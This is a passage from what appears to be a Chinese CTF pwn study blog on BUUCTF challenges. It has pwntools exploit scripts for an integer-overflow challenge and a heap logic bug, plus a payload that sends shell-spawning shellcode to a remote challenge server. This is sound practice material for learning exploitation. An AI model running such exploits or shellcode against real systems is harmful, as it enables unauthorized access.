libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def get_flag():
      p.sendlineafter("> ",b'get-flag')

def show():
      p.sendlineafter("> ",b'show')

def login(context):
      p.sendlineafter("> ",b'login '+context)

def delete():
      p.sendlineafter("> ",b'reset')

def setauth(context):
      p.sendlineafter("> ",b'set-auth '+context)

login(b'aaaaaaaa'+p64(5))
delete()
login(b'aaaaa')
get_flag()
#debug()
p.interactive()

22、rootersctf_2019_srop

 

23、hitcon_2018_children_tcache

 保护全开,ida打开,菜单堆题,增删查

 

24、hgame2018_flag_server

 下图对输入的v5进行限制,但是没有对负数进行检查,即整数溢出,则直接覆盖v10

p.sendlineafter(" length: ",str(-1))
p.sendlineafter("username?\n",b'a'*0x40+b'\x01')

25、[BSidesCF 2019]Runit

 

 直接写入shellcode就行了

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./runit"
#p=process(pwn)
p=remote("node5.buuoj.cn",28993)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
payload=asm(shellcraft.sh())
p.sendafter("stuff!!\n",payload)
p.interactive()

 

标签:libc,create,第四页,笔记,buu,sendlineafter,pwn,import,chunk
From: https://www.cnblogs.com/fheap/p/17861173.html

相关文章

  • Java 学习笔记:面向对象
    目录Java学习笔记:面向对象什么是面向对象面向过程和面向对象创建与初始化对象回顾方法类与对象的关系构造方法(构造器)创建构造器内存分析封装、继承方法重载super关键字多态instanceof关键字static抽象类接口内部类Java学习笔记:面向对象2024/3/19狂神学Java:学习链接什么是面......
  • JavaScript笔记 01
    目录01js概述02js代码的基本使用03js变量的基本使用04变量的类型05数值类型06字符串类型07布尔类型08 使用typeof查看变量的类型09其他类型转换为字符串类型10其他数据类型转换为数值型11其他数据类型转换成布尔类型12小知识点01js概述前端的三......
  • 操作系统内存管理笔记
    单级页表分页储存页表页表中的页表项是连续存放的,因此页号可以是隐含的,不需要占用空间页表中的块号所记录的只是内存块号,而非内存块的起始地址案例一假设某系统物理内存大小为4GB,页面大小为4KB,则每个页表项至少应该为多少字节解答:由题目可知,内存块大小=页......
  • python/pygame坦克游戏边学边写笔记(六)
    一、给玩家坦克一个脆弱的家测试玩了一下,才发现玩家的家还没安排。1、载入家的图片。2、地图字典索引,生命值设为1,生命脆弱哦。3、wall_map方法中设定家的位置。ifdata.iloc[row,colum]=='家':wall_type='home'......
  • ESP32学习笔记-双核编程
    写在前面ESP32集成了两个TensilicaXtensaLX6微处理器(核心0和核心1)。FreeRTOS作为ESP32的操作系统,提供了多任务支持,可以使得这两个核心同时工作。在不使用FreeRTOS的情况下,程序默认跑在核心1上,而核心0主要运行WIFI和bluetooth;如果我们的项目不频繁使用WIFI蓝牙,建议使用多......
  • Learning Disentangled Graph Convolutional Networks Locally and Globally论文阅读
    LearningDisentangledGraphConvolutionalNetworksLocallyandGlobally论文阅读笔记Abstract存在的问题:​ 尽管现有的gcn取得了成功,但它们通常忽略了现实世界图中通常出现的纠缠潜在因素,这导致了无法解释的节点表示。更糟糕的是,虽然重点放在局部图信息上,但整个图的全局知......
  • 鸿蒙学习笔记-DevEco Studio 安装
    鸿蒙DevEco Studio是开发华为鸿蒙系统必须要安装的开发软件软件下载软件下载地址:HUAWEIDevEcoStudio和SDK下载和升级|华为开发者联盟,根据自己使用的电脑情况,选择对应的下载文件 软件安装下载后的文件是zip压缩包,解压后,打开安装文件,点击Next保持默认选项,点击Next......
  • mysql查看数据库锁等待排查笔记
    实验版本:5.7.27 命令如下:mysql>useinformation_schema;  mysql>selectcount(*)fromINNODB_LOCK_WAITS; +----------+ |count(*)| +----------+ |      50| +----------+ 1rowinset,1warning(0.00sec)  SHOWENGINEINNODB......
  • OpenGL万字超详解笔记(适合新手小白)
    OpenGL万字超详解笔记(适合新手小白)参考资料20分钟让你了解OpenGL——OpenGL全流程详细解读【OpenGL】基本API的详解及参考OpenGL初学者入门——学习指南【共9篇文章】LearnOpenlcnOpenGL状态机深度测试(DepthTest)概念[OpenGL]VBO,VAO和EBO详解基本概念OpenGL是什......
  • NAND和NOR Flash 完全应用笔记(应用调试篇)
    本文要点:给出了华为三星及英特尔的常用FLASH参考电路;结合datasheet解说2bit以及4bit的NANDFLASH;调试思路总结以及简单的调试经验分享;最新的3DXpoint技术介绍。首先,我要用这张图来说明存储器近70年的发展历程,纵观这70年的发展,可以发现主要是在容量,速度以及寿命等方面......